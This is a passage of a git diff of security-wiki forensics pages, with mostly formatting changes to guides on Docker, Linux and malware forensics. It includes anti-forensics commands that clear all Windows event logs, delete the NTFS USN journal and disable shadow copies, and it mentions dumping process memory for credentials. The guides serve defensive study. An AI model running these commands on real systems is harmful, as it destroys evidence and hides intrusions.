"services" into the text search box; open the Services program. -2. Locate "Volume Shadow Copy" from the list, highlight it, and then and the right-click > Properties. +2. Locate "Volume Shadow Copy" from the list, highlight it, and then and the right-click > Properties. 3. From the "Startup type" drop-down menu, select Disabled, and then click Apply and OK. -![](../../.gitbook/assets/image%20%28452%29.png) +![](<../../.gitbook/assets/image (453).png>) It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ### Overwrite deleted files * You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -* You can also use tools like [**Eraser**](https://eraser.heidi.ie/) +* You can also use tools like [**Eraser**](https://eraser.heidi.ie) ### Delete Windows event logs -* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` @@ -152,4 +152,3 @@ It's also possible to modify the configuration of which files are going to be co ### Disable $UsnJrnl * `fsutil usn deletejournal /d c:` - diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index b14ce715..6d7100aa 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -26,7 +26,7 @@ A /var/lib/mysql/mysql/general_log.CSV ... ``` -In the previous command **C** means **Changed** and **A,** **Added**. +In the previous command **C **means **Changed **and **A,** **Added**.\ If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: ```bash @@ -49,7 +49,7 @@ docker exec -it wordpress bash ## Images modifications -When you are given an exported docker image \(probably in `.tar` format\) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: +When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: ```bash docker save > image.tar #Export the image to a .tar file @@ -58,13 +58,13 @@ container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: +Then, you can **decompress **the image and **access the blobs** to search for suspicious files you may have found in the changes history: ```bash tar -xf image.tar ``` -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) ****\(download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)\) utility: +In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive)** **(download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: ```bash #First you need to load the image in your docker repo @@ -75,9 +75,9 @@ Loaded image: flask:latest sudo dive flask:latest ``` -This allow you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to to collapse/open folders. +This allow you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red **means added and **yellow **means modified. Use **tab **to move to the other view and **space **to to collapse/open folders. -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**. +With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ You can decompress all the layers from an image from the directory where the image was decompressed executing: ```bash @@ -89,5 +89,4 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` -Therefore \(as root\) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-unix/privilege-escalation/#process-memory). - +Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials **just [**like in the following example**](../../linux-unix/privilege-escalation/#process-memory). diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index c46f21ee..69fce81e 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -4,17 +4,17 @@ A baseline consist on take a snapshot of certain part of a system in oder to c**ompare it with a future status to highlight changes**. -For example, you can calculate and store the hash of each file of the filesystem to .be able to find out which files were modified. +For example, you can calculate and store the hash of each file of the filesystem to .be able to find out which files were modified.\ This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. ### File Integrity Monitoring -File integrity monitoring is one of the most powerful techniques used to secure IT infrastructures and business data against a wide variety of both known and unknown threats. -The goal is to generate a **baseline of all the files** that you want monitor and then **periodically** **check** those files for possible **changes** \(in the content, attribute, metadata...\). +File integrity monitoring is one of the most powerful techniques used to secure IT infrastructures and business data against a wide variety of both known and unknown threats.\ +The goal is to generate a **baseline of all the files** that you want monitor and then **periodically** **check** those files for possible **changes** (in the content, attribute, metadata...). -1. **Baseline comparison,** wherein one or more file attributes will be captured or calculated and stored as a baseline that can be compared against at some future time. This can be as simple as the time and date of the file, however, since this data can be easily spoofed, a more trustworthy approach is typically used. This may include periodically assessing the cryptographic checksum for a monitored file, \(e.g. using the MD5 or SHA-2 hashing algorithm\) and then comparing the result to the previously calculated checksum. +1\. **Baseline comparison,** wherein one or more file attributes will be captured or calculated and stored as a baseline that can be compared against at some future time. This can be as simple as the time and date of the file, however, since this data can be easily spoofed, a more trustworthy approach is typically used. This may include periodically assessing the cryptographic checksum for a monitored file, (e.g. using the MD5 or SHA-2 hashing algorithm) and then comparing the result to the previously calculated checksum. -2. **Real-time change notification**, which is typically implemented within or as an extension to the kernel of the operating system that will flag when a file is accessed or modified. +2\. **Real-time change notification**, which is typically implemented within or as an extension to the kernel of the operating system that will flag when a file is accessed or modified. ### Tools @@ -24,4 +24,3 @@ The goal is to generate a **baseline of all the files** that you want monitor an ## References * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - diff --git a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md index 8894d1fc..6a8c7ac6 100644 --- a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md +++ b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md @@ -27,7 +27,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript ### EWF -You can generate a dick image using the[ **ewf tools**](https://github.com/libyal/libewf). +You can generate a dick image using the[** ewf tools**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb @@ -50,7 +50,7 @@ ewfacquire /dev/sdb ### Several types -In **Windows** you can try to use the free version of Arsenal Image Mounter \([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)\) to **mount the forensics image**. +In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. ### Raw @@ -108,5 +108,3 @@ Note that sector size is **512** and start is **2048**. Then mount the image lik mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - - diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 9ce71562..6b025a0c 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -4,7 +4,7 @@ ### Basic Information -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** \(you can just get a ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_\), then mount the USN, and modify the env variables to use those binaries: +First of all, it's recommended to have some **USB **with **good known binaries and libraries on it** (you can just get a ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USN, and modify the env variables to use those binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin @@ -35,21 +35,21 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi While obtaining the basic information you should check for weird things like: -* **root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -* Check **registered logins** of users without a shell inside `/etc/passwd` -* Check for **password hashes** inside `/etc/shadow` for users without a shell +* **root processes **usually run with low PIDS, so if you find a root process with a big PID you may suspect +* Check **registered logins **of users without a shell inside `/etc/passwd` +* Check for **password hashes **inside `/etc/shadow` for users without a shell ### Memory Dump -In order to obtain the memory of the running system it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME). -In order to **compile** it you need to use the **exact same kernel** the victim machine is using. +In order to obtain the memory of the running system it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ +In order to **compile **it you need to use the **exact same kernel** the victim machine is using. {% hint style="info" %} Remember that you **cannot install LiME or any other thing** in the victim machine it will make several changes to it {% endhint %} -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms` -In other cases you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github can compile it with correct kernel headers. In order to **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ +In other cases you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github can compile it with correct kernel headers. In order to **obtain the exact kernel headers** of the victim machine, you can just **copy the directory **`/lib/modules/` to your machine, and then **compile **LiME using them: ```bash make -C /lib/modules//build M=$PWD @@ -58,18 +58,18 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" LiME supports 3 **formats**: -* Raw \(every segment concatenated together\) -* Padded \(same as raw, but with zeroes in right bits\) -* Lime \(recommended format with metadata +* Raw (every segment concatenated together) +* Padded (same as raw, but with zeroes in right bits) +* Lime (recommended format with metadata -LiME can also be use to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +LiME can also be use to** send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` ### Disk Imaging #### Shutting down -First of all you will need to **shutdown the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shutdown. -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but I will also allow the possible **malware** to **destroy evidences**. The "pull the plug" approach may carry **some information loss** \(as we have already took an image of the memory not much info is going to be lost\) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. +First of all you will need to** shutdown the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shutdown.\ +There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem **to be **synchronized**, but I will also allow the possible **malware **to **destroy evidences**. The "pull the plug" approach may carry **some information loss** (as we have already took an image of the memory not much info is going to be lost) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect **that there may be a **malware**, just execute the **`sync`** **command **on the system and pull the plug. #### Taking an image of the disk @@ -159,13 +159,15 @@ debsums | grep -v "OK$" #apt-get install debsums Read the following page to learn about tools that can be useful to find malware: -{% page-ref page="malware-analysis.md" %} +{% content-ref url="malware-analysis.md" %} +[malware-analysis.md](malware-analysis.md) +{% endcontent-ref %} ## Search installed programs ### Package Manager -On Debian-based systems, the _**/var/ lib/dpkg/status**_ file contains details about installed packages and the _**/var/log/dpkg.log**_ file records information when a package is installed. +On Debian-based systems, the _**/var/ lib/dpkg/status**_ file contains details about installed packages and the _**/var/log/dpkg.log**_ file records information when a package is installed.\ On RedHat and related Linux distributions the **`rpm -qa --root=/ mntpath/var/lib/rpm`** command will list the contents of an RPM database on a subject systems. ```bash @@ -184,7 +186,7 @@ rpm -qa --root=/ mntpath/var/lib/rpm ls /opt /usr/local ``` -Another good idea is to **check** the **common folders** inside **$PATH** for **binaries not related** to **installed packages:** +Another good idea is to **check **the **common folders **inside **$PATH** for **binaries not related** to **installed packages:** ```bash #Both lines are going to print the executables in /sbin non related to installed packages @@ -234,7 +236,7 @@ On Linux systems, kernel modules are commonly used as rootkit components to malw There are several configuration files that Linux uses to automatically launch an executable when a user logs into the system that may contain traces of malware. * _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ are executed when any user account logs in. -* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. +* _**∼/.bashrc **_, _**∼/.bash_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. * _**/etc/rc.local**_ It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. ## Examine Logs @@ -243,24 +245,24 @@ Look in all available log files on the compromised system for traces of maliciou ### Pure Logs -**Logon** events recorded in the system and security logs, including logons via the network, can reveal that **malware** or an **intruder gained access** to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation** of a **new** **service** or new accounts around the time of an incident. +**Logon **events recorded in the system and security logs, including logons via the network, can reveal that **malware **or an **intruder gained access **to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation **of a **new** **service **or new accounts around the time of an incident.\ Interesting system logons: -* **/var/log/syslog** \(debian\) ****or **/var/log/messages** \(Redhat\) +* **/var/log/syslog **(debian)** **or **/var/log/messages **(Redhat) * Shows general messages and info regarding the system. Basically a data log of all activity throughout the global system. -* **/var/log/auth.log** \(debian\) ****or **/var/log/secure** \(Redhat\) +* **/var/log/auth.log **(debian)** **or **/var/log/secure **(Redhat) * Keep authentication logs for both successful or failed logins, and authentication processes. Storage depends on system type. * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` * **/var/log/boot.log**: start-up messages and boot info. -* **/var/log/maillog** or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. -* **/var/log/kern.log**: keeps in Kernel logs and warning info. Kernel activity logs \(e.g., dmesg, kern.log, klog\) can show that a particular service crashed repeatedly, potentially indicating that an unstable trojanized version was installed. +* **/var/log/maillog **or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. +* **/var/log/kern.log**: keeps in Kernel logs and warning info. Kernel activity logs (e.g., dmesg, kern.log, klog) can show that a particular service crashed repeatedly, potentially indicating that an unstable trojanized version was installed. * **/var/log/dmesg**: a repository for device driver messages. Use **dmesg** to see messages in this file. * **/var/log/faillog:** records info on failed logins. Hence, handy for examining potential security breaches like login credential hacks and brute-force attacks. -* **/var/log/cron**: keeps a record of Crond-related messages \(cron jobs\). Like when the cron daemon started a job. +* **/var/log/cron**: keeps a record of Crond-related messages (cron jobs). Like when the cron daemon started a job. * **/var/log/daemon.log:** keeps track of running background services but doesn’t represent them graphically. * **/var/log/btmp**: keeps a note of all failed login attempts. -* **/var/log/httpd/**: a directory containing error\_log and access\_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error\_log** file. Think of memory problems and other system-related errors. **access\_log** logs all requests which come in via HTTP. -* **/var/log/mysqld.log** or **/var/log/mysql.log** : MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. +* **/var/log/httpd/**: a directory containing error_log and access_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error_log **file. Think of memory problems and other system-related errors. **access_log** logs all requests which come in via HTTP. +* **/var/log/mysqld.log **or** /var/log/mysql.log **: MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. * **/var/log/xferlog**: keeps FTP file transfer sessions. Includes info like file names and user-initiated FTP transfers. * **/var/log/\*** : You should always check for unexpected logs in this directory @@ -272,48 +274,48 @@ Linux system logs and audit subsystems may be disabled or deleted in an intrusio Many Linux systems are configured to maintain a command history for each user account: -* ~/.bash\_history -* ~/.history -* ~/.sh\_history -* ~/.\*\_history +* \~/.bash_history +* \~/.history +* \~/.sh_history +* \~/.\*\_history ### Logins -Using the command `last -Faiwx` it's possible to get the list of users that have logged in. +Using the command `last -Faiwx` it's possible to get the list of users that have logged in.\ It's recommended to check if those logins make sense: * Any unknown user? * Any user that shouldn't have a shell has logged in? -This is important as **attackers** some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm** may be **able to login**. +This is important as **attackers **some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm **may be **able to login**. Note that you can also **take a look to this information reading the logs**. ### Application Traces -* **SSH**: Connections to systems made using SSH to and from a compromised system result in entries being made in files for each user account \(_**∼/.ssh/authorized\_keys**_ and _**∼/.ssh/known\_keys**_\). These entries can reveal the hostname or IP address of the remote hosts. +* **SSH**: Connections to systems made using SSH to and from a compromised system result in entries being made in files for each user account (_**∼/.ssh/authorized_keys**_ and _**∼/.ssh/known_keys**_). These entries can reveal the hostname or IP address of the remote hosts. * **Gnome Desktop**: User accounts may have a _**∼/.recently-used.xbel**_ file that contains information about files that were recently accessed using applications running in the Gnome desktop. * **VIM**: User accounts may have a _**∼/.viminfo**_ file that contains details about the use of VIM, including search string history and paths to files that were opened using vim. * **Open Office**: Recent files. -* **MySQL**: User accounts may have a _**∼/.mysql\_history**_ file that contains queries executed using MySQL. +* **MySQL**: User accounts may have a _**∼/.mysql_history**_ file that contains queries executed using MySQL. * **Less**: User accounts may have a _**∼/.lesshst**_ file that contains details about the use of less, including search string history and shell commands executed via less ### USB Logs - [**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files \(`/var/log/syslog*` or `/var/log/messages*` depending on the distro\) for constructing USB event history tables. + [**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USB to find "violation events" \(the use of USBs that aren't inside that list\). +It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USB to find "violation events" (the use of USBs that aren't inside that list). ### Installation -```text +``` pip3 install usbrip usbrip ids download #Downloal USB ID database ``` ### Examples -```text +``` usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user #Search for vid and/or pid @@ -325,31 +327,31 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip] ## Review User Accounts and Logon Activities -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and/or used in close proximity to known unauthorized events. Also check possible sudo brute-force attacks. -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users. -Finally look for accounts with **no passwords** or **easily guessed** passwords. +Examine the _**/etc/passwd**_, _**/etc/shadow**_ and** security logs** for unusual names or accounts created and/or used in close proximity to known unauthorized events. Also check possible sudo brute-force attacks.\ +Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ +Finally look for accounts with **no passwords **or **easily guessed **passwords. ## Examine File System -File system data structures can provide substantial amounts of **information** related to a **malware** incident, including the **timing** of events and the actual **content** of **malware**. -**Malware** is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with time line analysis. Other malicious code is designed to only store certain information in memory to minimize the amount of data stored in the file system. +File system data structures can provide substantial amounts of **information **related to a **malware **incident, including the **timing **of events and the actual **content **of **malware**.\ +**Malware **is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with time line analysis. Other malicious code is designed to only store certain information in memory to minimize the amount of data stored in the file system.\ To deal with such anti-forensic techniques, it is necessary to pay **careful attention to time line analysis** of file system date-time stamps and to files stored in common locations where malware might be found. -* Using **autopsy** you can see the timeline of events that may be useful to discover suspicions activity. You can also use the `mactime` feature from **Sleuth Kit** directly. -* Check for **unexpected scripts** inside **$PATH** \(maybe some sh or php scripts?\) +* Using **autopsy **you can see the timeline of events that may be useful to discover suspicions activity. You can also use the `mactime` feature from **Sleuth Kit **directly. +* Check for **unexpected scripts **inside **$PATH** (maybe some sh or php scripts?) * Files in `/dev` use to be special files, you may find non-special files here related to malware. -* Look for unusual or **hidden files** and **directories**, such as “.. ” \(dot dot space\) or “..^G ” \(dot dot control-G\) +* Look for unusual or **hidden files **and **directories**, such as “.. ” (dot dot space) or “..^G ” (dot dot control-G) * setuid copies of /bin/bash on the system `find / -user root -perm -04000 –print` * Review date-time stamps of deleted **inodes for large numbers of files being deleted around the same time**, which might indicate malicious activity such as installation of a rootkit or trojanized service. * Because inodes are allocated on a next available basis, **malicious files placed on the system at around the same time may be assigned consecutive inodes**. Therefore, after one component of malware is located, it can be productive to inspect neighbouring inodes. * Also check directories like _/bin_ or _/sbin_ as the **modified and/or changed time** of new or modified files me be interesting. -* It's interesting to see the files and folders of a directory **sorted by creation date** instead alphabetically to see which files/folders are more recent \(last ones usually\). +* It's interesting to see the files and folders of a directory **sorted by creation date** instead alphabetically to see which files/folders are more recent (last ones usually). -You can check the most recent files of a folder using `ls -laR --sort=time /bin` +You can check the most recent files of a folder using `ls -laR --sort=time /bin`\ You can check the inodes of the files inside a folder using `ls -lai /bin |sort -n` {% hint style="info" %} -Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modify at the **same time** of the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +Note that an **attacker **can **modify **the **time **to make **files appear** **legitimate**, but he **cannot **modify the **inode**. If you find that a **file **indicates that it was created and modify at the **same time **of the rest of the files in the same folder, but the **inode **is **unexpectedly bigger**, then the **timestamps of that file were modified**. {% endhint %} ## Compare files of different filesystem versions @@ -376,14 +378,13 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2 **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** -Select only files that are Added \(`A`\), Copied \(`C`\), Deleted \(`D`\), Modified \(`M`\), Renamed \(`R`\), have their type \(i.e. regular file, symlink, submodule, …​\) changed \(`T`\), are Unmerged \(`U`\), are Unknown \(`X`\), or have had their pairing Broken \(`B`\). Any combination of the filter characters \(including none\) can be used. When `*` \(All-or-none\) is added to the combination, all paths are selected if there is any file that matches other criteria in the comparison; if there is no file that matches other criteria, nothing is selected. +Select only files that are Added (`A`), Copied (`C`), Deleted (`D`), Modified (`M`), Renamed (`R`), have their type (i.e. regular file, symlink, submodule, …​) changed (`T`), are Unmerged (`U`), are Unknown (`X`), or have had their pairing Broken (`B`). Any combination of the filter characters (including none) can be used. When `*` (All-or-none) is added to the combination, all paths are selected if there is any file that matches other criteria in the comparison; if there is no file that matches other criteria, nothing is selected. Also, **these upper-case letters can be downcased to exclude**. E.g. `--diff-filter=ad` excludes added and deleted paths. -Note that not all diffs can feature all types. For instance, diffs from the index to the working tree can never have Added entries \(because the set of paths included in the diff is limited by what is in the index\). Similarly, copied and renamed entries cannot appear if detection for those types is disabled. +Note that not all diffs can feature all types. For instance, diffs from the index to the working tree can never have Added entries (because the set of paths included in the diff is limited by what is in the index). Similarly, copied and renamed entries cannot appear if detection for those types is disabled. ## References -* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) +* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index 99e53f33..dd0ad534 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -2,14 +2,14 @@ ## Forensics CheatSheets -[https://www.jaiminton.com/cheatsheet/DFIR/\#](https://www.jaiminton.com/cheatsheet/DFIR/#) +[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/#) ## Online Services * [VirusTotal](https://www.virustotal.com/gui/home/upload) * [HybridAnalysis](https://www.hybrid-analysis.com) -* [Koodous](https://koodous.com/) -* [Intezer](https://analyze.intezer.com/) +* [Koodous](https://koodous.com) +* [Intezer](https://analyze.intezer.com) ## Offline Antivirus and Detection Tools @@ -23,8 +23,8 @@ sudo apt-get install -y yara #### Prepare rules -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9) -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. +Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Create the _**rules **_directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py @@ -52,7 +52,7 @@ You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generat #### Install -```text +``` sudo apt-get install -y clamav ``` @@ -66,18 +66,18 @@ clamscan folderpath #Scan the hole folder ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identifies** some potentially unwanted software or a confirmed **malware**. Blue Teams use this kind of definitions to **search for this kind of malicious files** in their **systems** and **networks**. +IOC means Indicator Of Compromise. An IOC is a set of **conditions that identifies** some potentially unwanted software or a confirmed **malware**. Blue Teams use this kind of definitions to **search for this kind of malicious files** in their **systems** and **networks**.\ To share these definitions is very useful as when a malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. -A tool to create or modify IOCs is ****[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.** -You can use tools such as ****[**Redline**](https://www.fireeye.com/services/freeware/redline.html) ****to **search for defined IOCs in a device**. +A tool to create or modify IOCs is** **[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +****You can use tools such as** **[**Redline**](https://www.fireeye.com/services/freeware/redline.html)** **to **search for defined IOCs in a device**. ### Loki -\*\*\*\*[**Loki**](https://github.com/Neo23x0/Loki) ****is a scanner for Simple Indicators of Compromise. +****[**Loki**](https://github.com/Neo23x0/Loki)** **is a scanner for Simple Indicators of Compromise.\ Detection is based on four detection methods: -```text +``` 1. File Name IOC Regex match on full file path/name @@ -93,11 +93,11 @@ Detection is based on four detection methods: ### Linux Malware Detect -\*\*\*\*[**Linux Malware Detect \(LMD\)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and from malware community resources. +****[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and from malware community resources. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net/) can be used to check the filesystem for possible **rootkits** and malware. +Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits **and malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] @@ -105,15 +105,15 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable \(binary data, entropy, URLs and IPs, some yara rules\). +[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). ### NeoPI -\*\*\*\*[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +****[**NeoPI **](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods **to detect **obfuscated **and **encrypted **content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. ### **php-malware-finder** -\*\*\*\*[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +****[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code **as well as files using **PHP **functions often used in **malwares**/webshells. ### Apple Binary Signatures @@ -134,13 +134,12 @@ spctl --assess --verbose /Applications/Safari.app ### File Stacking -If you know that some folder containing the **files** of a web server was **last updated in some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +If you know that some 